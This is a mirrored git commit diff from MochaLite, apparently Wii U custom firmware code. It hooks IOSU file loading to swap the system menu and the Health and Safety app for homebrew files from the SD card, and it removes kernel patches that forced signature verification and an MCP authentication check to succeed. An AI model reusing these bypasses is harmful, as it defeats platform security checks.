mirror of
https://github.com/wiiu-env/MochaLite.git
synced 2024-05-31 22:58:42 +02:00
- Update the 0x64 IOCTL
- Remove unneeded instant patches
This commit is contained in:
parent
bbcd072eae
commit
a949308aee
192
common/ipc_defs.h
Normal file
192
common/ipc_defs.h
Normal file
|
@ -0,0 +1,192 @@
|
|||
#pragma once
|
||||
|
||||
typedef struct __attribute__((packed)) {
|
||||
uint64_t title_id;
|
||||
uint64_t boss_id;
|
||||
uint64_t os_version;
|
||||
uint64_t app_size;
|
||||
uint64_t common_save_size;
|
||||
uint64_t account_save_size;
|
||||
uint64_t common_boss_size;
|
||||
uint64_t account_boss_size;
|
||||
uint64_t join_game_mode_mask;
|
||||
uint32_t version;
|
||||
char product_code[32];
|
||||
char content_platform[32];
|
||||
char company_code[8];
|
||||
char mastering_date[32];
|
||||
uint32_t logo_type;
|
||||
uint32_t app_launch_type;
|
||||
uint32_t invisible_flag;
|
||||
uint32_t no_managed_flag;
|
||||
uint32_t no_event_log;
|
||||
uint32_t no_icon_database;
|
||||
uint32_t launching_flag;
|
||||
uint32_t install_flag;
|
||||
uint32_t closing_msg;
|
||||
uint32_t title_version;
|
||||
uint32_t group_id;
|
||||
uint32_t save_no_rollback;
|
||||
uint32_t bg_daemon_enable;
|
||||
uint32_t join_game_id;
|
||||
uint32_t olv_accesskey;
|
||||
uint32_t wood_tin;
|
||||
uint32_t e_manual;
|
||||
uint32_t e_manual_version;
|
||||
uint32_t region;
|
||||
uint32_t pc_cero;
|
||||
uint32_t pc_esrb;
|
||||
uint32_t pc_bbfc;
|
||||
uint32_t pc_usk;
|
||||
uint32_t pc_pegi_gen;
|
||||
uint32_t pc_pegi_fin;
|
||||
uint32_t pc_pegi_prt;
|
||||
uint32_t pc_pegi_bbfc;
|
||||
uint32_t pc_cob;
|
||||
uint32_t pc_grb;
|
||||
uint32_t pc_cgsrr;
|
||||
uint32_t pc_oflc;
|
||||
uint32_t pc_reserved0;
|
||||
uint32_t pc_reserved1;
|
||||
uint32_t pc_reserved2;
|
||||
uint32_t pc_reserved3;
|
||||
uint32_t ext_dev_nunchaku;
|
||||
uint32_t ext_dev_classic;
|
||||
uint32_t ext_dev_urcc;
|
||||
uint32_t ext_dev_board;
|
||||
uint32_t ext_dev_usb_keyboard;
|
||||
uint32_t ext_dev_etc;
|
||||
char ext_dev_etc_name[512];
|
||||
uint32_t eula_version;
|
||||
uint32_t drc_use;
|
||||
uint32_t network_use;
|
||||
uint32_t online_account_use;
|
||||
uint32_t direct_boot;
|
||||
uint32_t reserved_flag0;
|
||||
uint32_t reserved_flag1;
|
||||
uint32_t reserved_flag2;
|
||||
uint32_t reserved_flag3;
|
||||
uint32_t reserved_flag4;
|
||||
uint32_t reserved_flag5;
|
||||
uint32_t reserved_flag6;
|
||||
uint32_t reserved_flag7;
|
||||
char longname_ja[512];
|
||||
char longname_en[512];
|
||||
char longname_fr[512];
|
||||
char longname_de[512];
|
||||
char longname_it[512];
|
||||
char longname_es[512];
|
||||
char longname_zhs[512];
|
||||
char longname_ko[512];
|
||||
char longname_nl[512];
|
||||
char longname_pt[512];
|
||||
char longname_ru[512];
|
||||
char longname_zht[512];
|
||||
char shortname_ja[256];
|
||||
char shortname_en[256];
|
||||
char shortname_fr[256];
|
||||
char shortname_de[256];
|
||||
char shortname_it[256];
|
||||
char shortname_es[256];
|
||||
char shortname_zhs[256];
|
||||
char shortname_ko[256];
|
||||
char shortname_nl[256];
|
||||
char shortname_pt[256];
|
||||
char shortname_ru[256];
|
||||
char shortname_zht[256];
|
||||
char publisher_ja[256];
|
||||
char publisher_en[256];
|
||||
char publisher_fr[256];
|
||||
char publisher_de[256];
|
||||
char publisher_it[256];
|
||||
char publisher_es[256];
|
||||
char publisher_zhs[256];
|
||||
char publisher_ko[256];
|
||||
char publisher_nl[256];
|
||||
char publisher_pt[256];
|
||||
char publisher_ru[256];
|
||||
char publisher_zht[256];
|
||||
uint32_t add_on_unique_id[32];
|
||||
} ACPMetaXml;
|
||||
|
||||
struct Permission {
|
||||
uint32_t group;
|
||||
uint64_t mask;
|
||||
};
|
||||
|
||||
typedef struct {
|
||||
uint32_t version;
|
||||
char unkn1[8];
|
||||
uint64_t titleId;
|
||||
uint32_t groupId;
|
||||
uint32_t cmdFlags;
|
||||
char argstr[4096];
|
||||
char* argv[64];
|
||||
uint32_t max_size;
|
||||
uint32_t avail_size;
|
||||
uint32_t codegen_size;
|
||||
uint32_t codegen_core;
|
||||
uint32_t max_codesize;
|
||||
uint32_t overlay_arena;
|
||||
uint32_t num_workarea_heap_blocks;
|
||||
uint32_t num_codearea_heap_blocks;
|
||||
struct Permission permissions[19];
|
||||
uint32_t default_stack0_size;
|
||||
uint32_t default_stack1_size;
|
||||
uint32_t default_stack2_size;
|
||||
uint32_t default_redzone0_size;
|
||||
uint32_t default_redzone1_size;
|
||||
uint32_t default_redzone2_size;
|
||||
uint32_t exception_stack0_size;
|
||||
uint32_t exception_stack1_size;
|
||||
uint32_t exception_stack2_size;
|
||||
uint32_t sdkVersion;
|
||||
uint32_t titleVersion;
|
||||
char unknwn2[0x1270 - 0x124C];
|
||||
} MCPPPrepareTitleInfo;
|
||||
|
||||
typedef struct {
|
||||
uint32_t version;
|
||||
uint64_t os_version;
|
||||
uint64_t titleId;
|
||||
uint32_t titleVersion;
|
||||
uint32_t sdkVersion;
|
||||
uint32_t groupid;
|
||||
uint32_t app_type;
|
||||
uint32_t common_id;
|
||||
} MCPAppXml;
|
||||
|
||||
typedef enum {
|
||||
//Load from the process's code directory (process title id)/code/%s
|
||||
LOAD_FILE_PROCESS_CODE = 0,
|
||||
//Load from the CafeOS directory (00050010-1000400A)/code/%s
|
||||
LOAD_FILE_CAFE_OS = 1,
|
||||
//Load from a system data title's content directory (0005001B-x)/content/%s
|
||||
LOAD_FILE_SYS_DATA_CONTENT = 2,
|
||||
//Load from a system data title's code directory (0005001B-x)/content/%s
|
||||
LOAD_FILE_SYS_DATA_CODE = 3,
|
||||
|
||||
LOAD_FILE_FORCE_SIZE = 0xFFFFFFFF,
|
||||
} MCPFileType;
|
||||
|
||||
typedef struct {
|
||||
unsigned char unk[0x10];
|
||||
|
||||
unsigned int pos;
|
||||
MCPFileType type;
|
||||
unsigned int cafe_pid;
|
||||
|
||||
unsigned char unk2[0xC];
|
||||
|
||||
char name[0x40];
|
||||
|
||||
unsigned char unk3[0x12D8 - 0x68];
|
||||
} MCPLoadFileRequest;
|
||||
|
||||
#define IPC_CUSTOM_LOG_STRING 0xFF
|
||||
#define IPC_CUSTOM_META_XML_SWAP_REQUIRED 0xFE
|
||||
#define IPC_CUSTOM_MEN_RPX_HOOK_COMPLETED 0xFD
|
||||
#define IPC_CUSTOM_LOAD_CUSTOM_RPX 0xFC
|
||||
#define IPC_CUSTOM_META_XML_READ 0xFB
|
||||
|
||||
#define LOAD_FILE_TARGET_SD_CARD 0
|
|
@ -38,61 +38,12 @@ typedef struct
|
|||
u32 cached;
|
||||
} ios_map_shared_info_t;
|
||||
|
||||
void instant_patches_setup(void){
|
||||
void instant_patches_setup(void)
|
||||
{
|
||||
// apply IOS ELF launch hook
|
||||
*(volatile u32*)0x0812A120 = ARM_BL(0x0812A120, kernel_launch_ios);
|
||||
|
||||
// patch FSA raw access
|
||||
*(volatile u32*)0x1070FAE8 = 0x05812070;
|
||||
*(volatile u32*)0x1070FAEC = 0xEAFFFFF9;
|
||||
|
||||
int (*_iosMapSharedUserExecution)(void *descr) = (void*)0x08124F88;
|
||||
|
||||
// patch kernel dev node registration
|
||||
*(volatile u32*)0x081430B4 = 1;
|
||||
|
||||
// fix 10 minute timeout that crashes MCP after 10 minutes of booting
|
||||
*(volatile u32*)(0x05022474 - 0x05000000 + 0x081C0000) = 0xFFFFFFFF; // NEW_TIMEOUT
|
||||
|
||||
// patch cached cert check
|
||||
// start our MCP thread directly on first title change
|
||||
kernel_memset((void*)(0x050BD000 - 0x05000000 + 0x081C0000), 0, 0x3000);
|
||||
*(volatile u32*)(0x05054D6C - 0x05000000 + 0x081C0000) = ARM_B(0x05054D6C, _startMainThread);
|
||||
|
||||
// patch MCP authentication check
|
||||
*(volatile u32*)(0x05014CAC - 0x05000000 + 0x081C0000) = 0x20004770; // mov r0, #0; bx lr
|
||||
|
||||
// patch IOSC_VerifyPubkeySign to always succeed
|
||||
*(volatile u32*)(0x05052C44 - 0x05000000 + 0x081C0000) = 0xE3A00000; // mov r0, #0
|
||||
*(volatile u32*)(0x05052C48 - 0x05000000 + 0x081C0000) = 0xE12FFF1E; // bx lr
|
||||
|
||||
// allow custom bootLogoTex and bootMovie.h264
|
||||
*(volatile u32*)(0xE0030D68 - 0xE0000000 + 0x12900000) = 0xE3A00000; // mov r0, #0
|
||||
*(volatile u32*)(0xE0030D34 - 0xE0000000 + 0x12900000) = 0xE3A00000; // mov r0, #0
|
||||
|
||||
// allow any region title launch
|
||||
*(volatile u32*)(0xE0030498 - 0xE0000000 + 0x12900000) = 0xE3A00000; // mov r0, #0
|
||||
|
||||
// set zero to start thread directly on first title change
|
||||
*(volatile u32*)(0x050BC580 - 0x05000000 + 0x081C0000) = 0;
|
||||
|
||||
*(volatile u32*)(0x050254D6 - 0x05000000 + 0x081C0000) = (volatile u32*) THUMB_BL(0x050254D6, MCP_LoadFile_patch);
|
||||
*(volatile u32*)(0x05025242 - 0x05000000 + 0x081C0000) = (volatile u32*) THUMB_BL(0x05025242, MCP_ioctl100_patch);
|
||||
|
||||
ios_map_shared_info_t map_info;
|
||||
map_info.paddr = 0x050BD000 - 0x05000000 + 0x081C0000;
|
||||
map_info.vaddr = 0x050BD000;
|
||||
map_info.size = 0x3000;
|
||||
map_info.domain = 1; // MCP
|
||||
map_info.type = 3; // 0 = undefined, 1 = kernel only, 2 = read only, 3 = read/write
|
||||
map_info.cached = 0xFFFFFFFF;
|
||||
_iosMapSharedUserExecution(&map_info); // actually a bss section but oh well it will have read/write
|
||||
|
||||
map_info.paddr = 0x05116000 - 0x05100000 + 0x13D80000;
|
||||
map_info.vaddr = 0x05116000;
|
||||
map_info.size = 0x4000;
|
||||
map_info.domain = 1; // MCP
|
||||
map_info.type = 3; // 0 = undefined, 1 = kernel only, 2 = read only, 3 = read write
|
||||
map_info.cached = 0xFFFFFFFF;
|
||||
_iosMapSharedUserExecution(&map_info);
|
||||
}
|
||||
|
|
|
@ -70,13 +70,18 @@ static int kernel_syscall_0x81(u32 command, u32 arg1, u32 arg2, u32 arg3)
|
|||
kernel_memcpy((void*)arg1, (void*) arg2, arg3);
|
||||
break;
|
||||
}
|
||||
case KERNEL_GET_CFW_CONFIG:
|
||||
{
|
||||
//set_domain_register(0xFFFFFFFF);
|
||||
//kernel_memcpy((void*)arg1, &cfw_config, sizeof(cfw_config));
|
||||
break;
|
||||
}
|
||||
default:
|
||||
return -1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
void kernel_launch_ios(u32 launch_address, u32 L, u32 C, u32 H)
|
||||
{
|
||||
void (*kernel_launch_bootrom)(u32 launch_address, u32 L, u32 C, u32 H) = (void*)0x0812A050;
|
||||
|
|
|
@ -27,6 +27,7 @@
|
|||
#include "instant_patches.h"
|
||||
|
||||
#define USB_PHYS_CODE_BASE 0x101312D0
|
||||
|
||||
typedef struct
|
||||
{
|
||||
u32 size;
|
||||
|
@ -85,12 +86,12 @@ int _main()
|
|||
kernel_memcpy(pusb_root_thread, (void*)repairData_usb_root_thread, sizeof(repairData_usb_root_thread));
|
||||
|
||||
payload_info_t *payloads = (payload_info_t*)0x00148000;
|
||||
|
||||
kernel_memcpy((void*)USB_PHYS_CODE_BASE, payloads->data, payloads->size);
|
||||
payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
|
||||
|
||||
|
||||
payloads = (payload_info_t*)0x00160000;
|
||||
kernel_memcpy((void*)mcp_get_phys_code_base(), payloads->data, payloads->size);
|
||||
payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
|
||||
|
||||
|
||||
// run all instant patches as necessary
|
||||
instant_patches_setup();
|
||||
|
|
|
@ -6,7 +6,7 @@ ifeq ($(filter $(DEVKITARM)/bin,$(PATH)),)
|
|||
export PATH:=$(DEVKITARM)/bin:$(PATH)
|
||||
endif
|
||||
|
||||
LOG_IP = 0xc0a800ea
|
||||
LOG_IP = 0xc0a800CC
|
||||
|
||||
ifneq ($(LOG_IP),)
|
||||
CFLAGS += -DLOG_IP=$(LOG_IP)
|
||||
|
@ -19,7 +19,6 @@ OBJCOPY = arm-none-eabi-objcopy
|
|||
OBJDUMP = arm-none-eabi-objdump
|
||||
CFLAGS += -Wall -mbig-endian -std=gnu11 -mcpu=arm926ej-s -msoft-float -mfloat-abi=soft -Os
|
||||
LDFLAGS += -nostartfiles -nodefaultlibs -mbig-endian -Wl,-T,link.ld
|
||||
LIBDIRS += -L$(CURDIR)/../libs
|
||||
LIBS += -lgcc
|
||||
|
||||
CFILES = $(wildcard source/*.c)
|
||||
|
|
|
@ -1,29 +1,26 @@
|
|||
#include "imports.h"
|
||||
|
||||
void usleep(u32 time)
|
||||
{
|
||||
((void (*const)(u32))0x050564E4)(time);
|
||||
void usleep(u32 time) {
|
||||
((void (*const)(u32))0x050564E4)(time);
|
||||
}
|
||||
|
||||
void* memset(void* dst, int val, size_t size)
|
||||
{
|
||||
char* _dst = dst;
|
||||
void* memset(void* dst, int val, size_t size) {
|
||||
char* _dst = dst;
|
||||
|
||||
int i;
|
||||
for(i = 0; i < size; i++) _dst[i] = val;
|
||||
int i;
|
||||
for(i = 0; i < size; i++)
|
||||
_dst[i] = val;
|
||||
|
||||
return dst;
|
||||
return dst;
|
||||
}
|
||||
|
||||
void* (*const _memcpy)(void* dst, void* src, int size) = (void*)0x05054E54;
|
||||
|
||||
void* memcpy(void* dst, const void* src, size_t size)
|
||||
{
|
||||
return _memcpy(dst, (void*)src, size);
|
||||
void* memcpy(void* dst, const void* src, size_t size) {
|
||||
return _memcpy(dst, (void*)src, size);
|
||||
}
|
||||
|
||||
int strlen(const char* str)
|
||||
{
|
||||
int strlen(const char* str) {
|
||||
unsigned int i = 0;
|
||||
while (str[i]) {
|
||||
i++;
|
||||
|
@ -31,19 +28,46 @@ int strlen(const char* str)
|
|||
return i;
|
||||
}
|
||||
|
||||
char* strncpy(char* dst, const char* src, size_t size)
|
||||
{
|
||||
int i;
|
||||
for(i = 0; i < size; i++)
|
||||
{
|
||||
dst[i] = src[i];
|
||||
if(src[i] == '\0') return dst;
|
||||
}
|
||||
|
||||
return dst;
|
||||
int strncmp( const char * s1, const char * s2, size_t n ) {
|
||||
while ( n && *s1 && ( *s1 == *s2 ) ) {
|
||||
++s1;
|
||||
++s2;
|
||||
--n;
|
||||
}
|
||||
if ( n == 0 ) {
|
||||
return 0;
|
||||
} else {
|
||||
return ( *(unsigned char *)s1 - *(unsigned char *)s2 );
|
||||
}
|
||||
}
|
||||
|
||||
int vsnprintf(char * s, size_t n, const char * format, va_list arg)
|
||||
{
|
||||
// Function to implement strncat() function in C
|
||||
char* strncat(char* destination, const char* source, size_t num) {
|
||||
// make ptr point to the end of destination string
|
||||
char* ptr = destination + strlen(destination);
|
||||
|
||||
// Appends characters of source to the destination string
|
||||
while (*source != '\0' && num--)
|
||||
*ptr++ = *source++;
|
||||
|
||||
// null terminate destination string
|
||||
*ptr = '\0';
|
||||
|
||||
// destination string is returned by standard strncat()
|
||||
return destination;
|
||||
}
|
||||
|
||||
char* strncpy(char* dst, const char* src, size_t size) {
|
||||
int i;
|
||||
for(i = 0; i < size; i++) {
|
||||
dst[i] = src[i];
|
||||
if(src[i] == '\0')
|
||||
return dst;
|
||||
}
|
||||
|
||||
return dst;
|
||||
}
|
||||
|
||||
int vsnprintf(char * s, size_t n, const char * format, va_list arg) {
|
||||
return ((int (*const)(char*, size_t, const char *, va_list))0x05055C40)(s, n, format, arg);
|
||||
}
|
||||
|
|
|
@ -15,6 +15,11 @@ void log_printf(const char *format, ...);
|
|||
#define log_printf(x, ...)
|
||||
#endif
|
||||
|
||||
#define DEBUG_FUNCTION_LINE(FMT, ARGS...)do { \
|
||||
log_printf("[%23s]%30s@L%04d: " FMT "",__FILE__,__FUNCTION__, __LINE__, ## ARGS); \
|
||||
} while (0)
|
||||
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
|
|
@ -18,46 +18,23 @@
|
|||
|
||||
#include "logger.h"
|
||||
#include "ipc_types.h"
|
||||
#include "../../common/ipc_defs.h"
|
||||
#include "fsa.h"
|
||||
#include "svc.h"
|
||||
#include <string.h>
|
||||
|
||||
typedef enum {
|
||||
//Load from the process's code directory (process title id)/code/%s
|
||||
LOAD_FILE_PROCESS_CODE = 0,
|
||||
//Load from the CafeOS directory (00050010-1000400A)/code/%s
|
||||
LOAD_FILE_CAFE_OS = 1,
|
||||
//Load from a system data title's content directory (0005001B-x)/content/%s
|
||||
LOAD_FILE_SYS_DATA_CONTENT = 2,
|
||||
//Load from a system data title's code directory (0005001B-x)/content/%s
|
||||
LOAD_FILE_SYS_DATA_CODE = 3,
|
||||
|
||||
LOAD_FILE_FORCE_SIZE = 0xFFFFFFFF,
|
||||
} MCPFileType;
|
||||
|
||||
typedef struct {
|
||||
unsigned char unk[0x10];
|
||||
|
||||
unsigned int pos;
|
||||
MCPFileType type;
|
||||
unsigned int cafe_pid;
|
||||
|
||||
unsigned char unk2[0xC];
|
||||
|
||||
char name[0x40];
|
||||
|
||||
unsigned char unk3[0x12D8 - 0x68];
|
||||
} MCPLoadFileRequest;
|
||||
//sizeof(MCPLoadFileRequest) = 0x12D8
|
||||
|
||||
int (*const real_MCP_LoadFile)(ipcmessage* msg) = (void*)0x0501CAA8 + 1; //+1 for thumb
|
||||
int (*const MCP_DoLoadFile)(const char* path, const char* path2, void* outputBuffer, u32 outLength, u32 pos, int* bytesRead, u32 unk) = (void*)0x05017248 + 1;
|
||||
int (*const MCP_UnknownStuff)(const char* path, u32 pos, void* outputBuffer, u32 outLength, u32 outLength2, u32 unk) = (void*)0x05014CAC + 1;
|
||||
int (*const MCP_DoLoadFile)(const char* path, const char* path2, void* outputBuffer, uint32_t outLength, uint32_t pos, int* bytesRead, uint32_t unk) = (void*)0x05017248 + 1;
|
||||
int (*const MCP_UnknownStuff)(const char* path, uint32_t pos, void* outputBuffer, uint32_t outLength, uint32_t outLength2, uint32_t unk) = (void*)0x05014CAC + 1;
|
||||
|
||||
static int MCP_LoadCustomFile(char* path, ipcmessage* msg, MCPLoadFileRequest* request);
|
||||
static int MCP_LoadCustomFile(int target, char* path, int filesize, int fileoffset, void * out_buffer, int buffer_len, int pos);
|
||||
static bool skipPPCSetup = false;
|
||||
static bool didrpxfirstchunk = false;
|
||||
static char rpxpath[0x280];
|
||||
static bool doWantReplaceRPX = false;
|
||||
static bool replace_target_device = 0;
|
||||
static bool rep_filesize = 0;
|
||||
static bool rep_fileoffset = 0;
|
||||
static char rpxpath[256];
|
||||
|
||||
#define log(fmt, ...) log_printf("%s: " fmt, __FUNCTION__, __VA_ARGS__)
|
||||
#define FAIL_ON(cond, val) \
|
||||
|
@ -67,124 +44,107 @@ static char rpxpath[0x280];
|
|||
}
|
||||
|
||||
int _MCP_LoadFile_patch(ipcmessage* msg) {
|
||||
|
||||
FAIL_ON(!msg->ioctl.buffer_in, 0);
|
||||
FAIL_ON(msg->ioctl.length_in != 0x12D8, msg->ioctl.length_in);
|
||||
FAIL_ON(!msg->ioctl.buffer_io, 0);
|
||||
FAIL_ON(!msg->ioctl.length_io, 0);
|
||||
|
||||
MCPLoadFileRequest* request = (MCPLoadFileRequest*)msg->ioctl.buffer_in;
|
||||
log("msg->ioctl.buffer_io = %p, msg->ioctl.length_io = 0x%X\n", msg->ioctl.buffer_io, msg->ioctl.length_io);
|
||||
log("request->type = %d, request->pos = %d, request->name = \"%s\"\n", request->type, request->pos, request->name);
|
||||
|
||||
/*if (request->type == LOAD_FILE_CAFE_OS &&
|
||||
request->name[0] == '*') {
|
||||
char path[0x40];
|
||||
//dumpHex(request, sizeof(MCPLoadFileRequest));
|
||||
//DEBUG_FUNCTION_LINE("msg->ioctl.buffer_io = %p, msg->ioctl.length_io = 0x%X\n", msg->ioctl.buffer_io, msg->ioctl.length_io);
|
||||
//DEBUG_FUNCTION_LINE("request->type = %d, request->pos = %d, request->name = \"%s\"\n", request->type, request->pos, request->name);
|
||||
|
||||
// Translate request->name to a path by replacing * with /
|
||||
for (int i = 0; i < 0x40; ++i) {
|
||||
if (request->name[i] == '*') {
|
||||
path[i] = '/';
|
||||
} else {
|
||||
path[i] = request->name[i];
|
||||
}
|
||||
int replace_target = replace_target_device;
|
||||
int replace_filesize = rep_filesize;
|
||||
int replace_fileoffset = rep_fileoffset;
|
||||
char * replace_path = rpxpath;
|
||||
|
||||
if(strncmp(request->name, "men.rpx", strlen("men.rpx")) == 0 && !skipPPCSetup) {
|
||||
// At startup we want to hook into the Wii U Menu by replacing the men.rpx with a file from the SD Card
|
||||
// The replacement may restart the application to execute a kernel exploit.
|
||||
// The men.rpx is hooked until the "IPC_CUSTOM_MEN_RPX_HOOK_COMPLETED" command is passed to IOCTL 0x100.
|
||||
// If the loading of the replacement file fails, the Wii U Menu is loaded normally.
|
||||
replace_target = LOAD_FILE_TARGET_SD_CARD;
|
||||
replace_path = "wiiu/root.rpx";
|
||||
|
||||
int result = MCP_LoadCustomFile(replace_target, replace_path, 0, 0, msg->ioctl.buffer_io, msg->ioctl.length_io, request->pos);
|
||||
|
||||
if (result >= 0) {
|
||||
return result;
|
||||
} else {
|
||||
// on error don't try it again.
|
||||
skipPPCSetup = true;
|
||||
}
|
||||
} else if(strncmp(request->name, "safe.rpx", strlen("safe.rpx")) == 0) {
|
||||
if (request->pos == 0) {
|
||||
didrpxfirstchunk = false;
|
||||
}
|
||||
|
||||
int result = MCP_LoadCustomFile(path, msg, request);
|
||||
if (result >= 0) return result;
|
||||
}*/
|
||||
/* RPX replacement!
|
||||
// if we don't explicitly replace files, we do want replace the Healt and Safety app with the HBL
|
||||
if(!doWantReplaceRPX) {
|
||||
replace_path = "wiiu/apps/homebrew_launcher/homebrew_launcher.rpx";
|
||||
replace_target = LOAD_FILE_TARGET_SD_CARD;
|
||||
//doWantReplaceXML = false;
|
||||
doWantReplaceRPX = true;
|
||||
replace_filesize = 0; // unknown
|
||||
replace_fileoffset = 0;
|
||||
}
|
||||
}
|
||||
|
||||
The goal here is only to replace an rpx once. Reading at pos = 0 signifies a
|
||||
new rpx load - these conditions detect that. */
|
||||
|
||||
if (request->name[0] == 'm' &&
|
||||
request->name[1] == 'e' &&
|
||||
request->name[2] == 'n' &&
|
||||
request->name[3] == '.' &&
|
||||
request->name[4] == 'r' &&
|
||||
request->name[5] == 'p' &&
|
||||
request->name[6] == 'x'
|
||||
&& rpxpath[0] != 'd'
|
||||
&& !skipPPCSetup){
|
||||
int fsa_h = svcOpen("/dev/fsa", 0);
|
||||
FSA_Unmount(fsa_h, "/vol/storage_iosu_homebrew", 2);
|
||||
FSA_Mount(fsa_h, "/dev/sdcard01", "/vol/storage_iosu_homebrew", 2, NULL, 0);
|
||||
svcClose(fsa_h);
|
||||
|
||||
char * f_path = "/vol/storage_iosu_homebrew/wiiu/root.rpx";;
|
||||
|
||||
int result = MCP_LoadCustomFile(f_path, msg, request);
|
||||
if(replace_path != NULL && strlen(replace_path) > 0) {
|
||||
if (!didrpxfirstchunk || request->pos > 0) {
|
||||
doWantReplaceRPX = false; // Only replace it once.
|
||||
int result = MCP_LoadCustomFile(replace_target, replace_path, replace_filesize, replace_fileoffset, msg->ioctl.buffer_io, msg->ioctl.length_io, request->pos);
|
||||
|
||||
if (result >= 0) {
|
||||
return result;
|
||||
}
|
||||
}else if (request->name[0] == 's' &&
|
||||
request->name[1] == 'a' &&
|
||||
request->name[2] == 'f' &&
|
||||
request->name[3] == 'e' &&
|
||||
request->name[4] == '.' &&
|
||||
request->name[5] == 'r' &&
|
||||
request->name[6] == 'p' &&
|
||||
request->name[7] == 'x'){
|
||||
|
||||
char * final_path = rpxpath;
|
||||
|
||||
if(rpxpath[0] == '\0') {
|
||||
final_path = "/vol/storage_iosu_homebrew/wiiu/apps/homebrew_launcher/homebrew_launcher.rpx";
|
||||
if (request->pos == 0){
|
||||
didrpxfirstchunk = false;
|
||||
}
|
||||
}
|
||||
|
||||
char* extension = request->name + strlen(request->name) - 4;
|
||||
if( extension[0] == '.' &&
|
||||
extension[1] == 'r' &&
|
||||
extension[2] == 'p' &&
|
||||
extension[3] == 'x') {
|
||||
if(final_path != NULL){
|
||||
if (!didrpxfirstchunk || request->pos > 0) {
|
||||
int fsa_h = svcOpen("/dev/fsa", 0);
|
||||
FSA_Unmount(fsa_h, "/vol/storage_iosu_homebrew", 2);
|
||||
FSA_Mount(fsa_h, "/dev/sdcard01", "/vol/storage_iosu_homebrew", 2, NULL, 0);
|
||||
svcClose(fsa_h);
|
||||
|
||||
int result = MCP_LoadCustomFile(final_path, msg, request);
|
||||
|
||||
rpxpath[0] = '\0';
|
||||
if (result >= 0) {
|
||||
if (request->pos == 0) didrpxfirstchunk = true;
|
||||
return result;
|
||||
}
|
||||
if (request->pos == 0) {
|
||||
didrpxfirstchunk = true;
|
||||
}
|
||||
return result;
|
||||
} else {
|
||||
// TODO, what happens if we already replaced the app/cos xml files and then the loading fails?
|
||||
}
|
||||
}
|
||||
}
|
||||
if (rpxpath[0] == 'd' &&
|
||||
rpxpath[1] == 'o' &&
|
||||
rpxpath[2] == 'n' &&
|
||||
rpxpath[3] == 'e'){
|
||||
skipPPCSetup = true;
|
||||
rpxpath[0] = '\0';
|
||||
}
|
||||
|
||||
|
||||
return real_MCP_LoadFile(msg);
|
||||
}
|
||||
|
||||
static int MCP_LoadCustomFile(char* path, ipcmessage* msg, MCPLoadFileRequest* request) {
|
||||
log("Load custom path \"%s\"\n", path);
|
||||
|
||||
int filesize = 0;
|
||||
int fileoffset = 0;
|
||||
// Set filesize to 0 if unknown.
|
||||
static int MCP_LoadCustomFile(int target, char* path, int filesize, int fileoffset, void * buffer_out, int buffer_len, int pos) {
|
||||
if(path == NULL) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
if(filesize > 0 && (request->pos + fileoffset > filesize)){
|
||||
|
||||
char filepath[256];
|
||||
memset(filepath,0,sizeof(filepath));
|
||||
strncpy(filepath, path, sizeof(filepath) -1);
|
||||
|
||||
if(target == LOAD_FILE_TARGET_SD_CARD) {
|
||||
char mountpath[] = "/vol/storage_iosu_homebrew";
|
||||
int fsa_h = svcOpen("/dev/fsa", 0);
|
||||
FSA_Mount(fsa_h, "/dev/sdcard01", mountpath, 2, NULL, 0);
|
||||
svcClose(fsa_h);
|
||||
strncpy(filepath,mountpath,sizeof(filepath) -1);
|
||||
strncat(filepath,"/",(sizeof(filepath) - 1) - strlen(filepath));
|
||||
strncat(filepath,path,(sizeof(filepath) - 1) - strlen(filepath));
|
||||
}
|
||||
|
||||
|
||||
DEBUG_FUNCTION_LINE("Load custom path \"%s\"\n", filepath);
|
||||
|
||||
if(filesize > 0 && (pos + fileoffset > filesize)) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* TODO: If this fails, try last argument as 1 */
|
||||
int bytesRead = 0;
|
||||
int result = MCP_DoLoadFile(path, NULL, msg->ioctl.buffer_io, msg->ioctl.length_io, request->pos + fileoffset, &bytesRead, 0);
|
||||
log("MCP_DoLoadFile returned %d, bytesRead = %d pos %d \n", result, bytesRead, request->pos + fileoffset);
|
||||
int result = MCP_DoLoadFile(filepath, NULL, buffer_out, buffer_len, pos + fileoffset, &bytesRead, 0);
|
||||
//log("MCP_DoLoadFile returned %d, bytesRead = %d pos %d \n", result, bytesRead, pos + fileoffset);
|
||||
|
||||
|
||||
if (result >= 0) {
|
||||
|
@ -192,13 +152,13 @@ static int MCP_LoadCustomFile(char* path, ipcmessage* msg, MCPLoadFileRequest* r
|
|||
return 0;
|
||||
}
|
||||
|
||||
/* TODO: If this fails, try last argument as 1 */
|
||||
result = MCP_UnknownStuff(path, request->pos + fileoffset, msg->ioctl.buffer_io, msg->ioctl.length_io, msg->ioctl.length_io, 0);
|
||||
log("MCP_UnknownStuff returned %d\n", result);
|
||||
/* TODO: If this fails, try last argument as 1 */
|
||||
result = MCP_UnknownStuff(filepath, pos + fileoffset, buffer_out, buffer_len, buffer_len, 0);
|
||||
//log("MCP_UnknownStuff returned %d\n", result);
|
||||
|
||||
if (result >= 0) {
|
||||
if(filesize > 0 && (bytesRead + request->pos > filesize)){
|
||||
return filesize - request->pos;
|
||||
if(filesize > 0 && (bytesRead + pos > filesize)) {
|
||||
return filesize - pos;
|
||||
}
|
||||
return bytesRead;
|
||||
}
|
||||
|
@ -206,29 +166,86 @@ static int MCP_LoadCustomFile(char* path, ipcmessage* msg, MCPLoadFileRequest* r
|
|||
return result;
|
||||
}
|
||||
|
||||
|
||||
/* RPX replacement! Call this ioctl to replace the next loaded RPX with an arbitrary path.
|
||||
DO NOT RETURN 0, this affects the codepaths back in the IOSU code */
|
||||
int _MCP_ioctl100_patch(ipcmessage* msg) {
|
||||
/* Give some method to detect this ioctl's prescence, even if the other args are bad */
|
||||
/* Give some method to detect this ioctl's prescence, even if the other args are bad */
|
||||
if (msg->ioctl.buffer_io && msg->ioctl.length_io >= sizeof(u32)) {
|
||||
*(u32*)msg->ioctl.buffer_io = 1;
|
||||
}
|
||||
|
||||
FAIL_ON(!msg->ioctl.buffer_in, 0);
|
||||
FAIL_ON(!msg->ioctl.length_in, 0);
|
||||
